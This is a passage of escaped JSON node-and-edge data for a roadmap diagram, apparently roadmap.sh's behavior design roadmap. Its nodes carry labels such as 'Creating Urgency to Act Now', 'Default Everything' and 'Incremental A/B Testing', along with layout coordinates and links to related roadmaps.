},\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2341.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iQNvKhwhvbis4Yn1ZxQua\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2288.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Avoid Direct Payments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2288.716018359537\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mTpG4uiYuBQIZA5eWVIpP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -305.64250645475397,\n        \"y\": 2618.294868949119\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Urgency to Act Now\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -305.64250645475397,\n        \"y\": 2618.294868949119\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"S9rJr8pc-Ln8BxG0suBWa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2655.442289043937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frame Text to Avoid Temporal Myopia\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1pzONoWafLAeX8eWbH-Dz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2655.442289043937\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kR-UbUFdELVeiPJqT0GlZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2708.442289043937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Remind of Prior Commitment to Act\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1pzONoWafLAeX8eWbH-Dz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2708.442289043937\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dOL2z6ULpmzRD5N3MrYCy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2761.442289043937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make Commitment to Friends\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1pzONoWafLAeX8eWbH-Dz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2761.442289043937\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1pzONoWafLAeX8eWbH-Dz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2814.442289043937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make Reward Scarce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2814.442289043937\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nlu4DdEQG072Oy2BbCBKi\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 63.05810580522689,\n        \"y\": 2613.912383827578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make sure Users can do it Easily\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 63.05810580522689,\n        \"y\": 2613.912383827578\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"EmDgiwaknBz5lXr1rwalE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2656.412383827578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Elicit Implementation Intentions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 313\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2656.412383827578\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wE5gt1vMgbF3csA61VO2-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2709.412383827578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Default Everything\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gqOnzmiLQHmIXuEe4jG2e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 313\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2709.412383827578\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gf7et64xCqkYBrP9HwWs_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2762.412383827578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lessen the Burden of Action / Info\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gqOnzmiLQHmIXuEe4jG2e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2762.412383827578\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gqOnzmiLQHmIXuEe4jG2e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2815.412383827578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deploy Peer Comparisons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.55810580522689,\n        \"y\": 2815.412383827578\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3inGDmHdZzATjIwTcHInX\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 16.805412875927175,\n        \"y\": 1741.5403856953653\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 861,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 861\n      },\n      \"positionAbsolute\": {\n        \"x\": 16.805412875927175,\n        \"y\": 1741.5403856953653\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 861\n      }\n    },\n    {\n      \"id\": \"Xm5ZZDvriOWFWXBtd2TeM\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 26.288353545845894,\n        \"y\": 2590\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"ni18gXdtdggAI4P8HG0h5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 333,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 333,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 26.288353545845894,\n        \"y\": 2590\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"GgBazWfF2OvOqkuo3DO2L\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 62.305412875927175,\n        \"y\": 2199.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Measuring the Impact\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.305412875927175,\n        \"y\": 2199.716018359537\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q4xBz9f3yyZi2F_aZ5ixL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.30541287592717,\n        \"y\": 2386.2450274059497\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Incremental A/B Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Emby09Nsm_j6uNreT58r6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 232\n      },\n      \"positionAbsolute\": {\n        \"x\": 64.30541287592717,\n        \"y\": 2386.2450274059497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"-_T2nzp1vV1jUcpsC5DI3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.30541287592717,\n        \"y\": 2333.2450274059497\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Multivariate Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232\n      },\n      \"positionAbsolute\": {\n        \"x\": 64.30541287592717,\n        \"y\": 2333.2450274059497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M-ghIECr0h_9RUgtpkjX8\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 143.80541287592717,\n        \"y\": 2293.11930137945\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 143.80541287592717,\n        \"y\": 2293.11930137945\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Emby09Nsm_j6uNreT58r6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.80541287592717,\n        \"y\": 2111.900631885402\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gather Lessons, Prioritize & Integrate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-_T2nzp1vV1jUcpsC5DI3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 334,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 215.80541287592717,\n        \"y\": 2111.900631885402\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 334,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 428.5066517763971,\n        \"y\": 3027.1774505212534\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 428.5066517763971,\n        \"y\": 3027.1774505212534\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 472,\n      \"height\": 118,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 207.50758661623695,\n        \"y\": 2938.4377800208467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"You might be interested in following roadmaps as well\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 207.50758661623695,\n        \"y\": 2938.4377800208467\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 472,\n        \"height\": 118\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 472,\n        \"height\": 118\n      }\n    },\n    {\n      \"width\": 219,\n      \"height\": 49,\n      \"id\": \"dlGf3ZdFXYx0Z6Viu2x-l\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 225.90014686686425,\n        \"y\": 2994.9075373933047\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design System\",\n        \"href\": \"https://roadmap.sh/design-system\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"gC8lsIdYLRzo3HzwVqtm1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 225.90014686686425,\n        \"y\": 2994.9075373933047\n      },\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"9LKa-YjOMtO1j62Ukt0q0\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 451.40014686686425,\n        \"y\": 2994.9075373933047\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 451.40014686686425,\n        \"y\": 2994.9075373933047\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fMfC7VJEq94e19h9i1vAG\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -381.789926549572,\n        \"y\": -124.22219261572492\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"pz_vkbNeCwHXc_LAlgFWc\",\n            \"label\": \"Design System Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/design-system\"\n          },\n          {\n            \"id\": \"eIAiicphFhdtyW8_Pdxxh\",\n            \"label\": \"Frontend Roadmap\",\n            \"url\": \"https://roadmap.sh/frontend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 134,\n      \"positionAbsolute\": {\n        \"x\": -381.789926549572,\n        \"y\": -124.22219261572492\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 134\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 134\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YvybHSbUUnnhcpSvBWkZh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"liUKYf7UghuPk25xMPPYj\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YvybHSbUUnnhcpSvBWkZhx2-GgBazWfF2OvOqkuo3DO2Lw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"D553-nVELaB5gdxtoKSVc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-D553-nVELaB5gdxtoKSVcy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      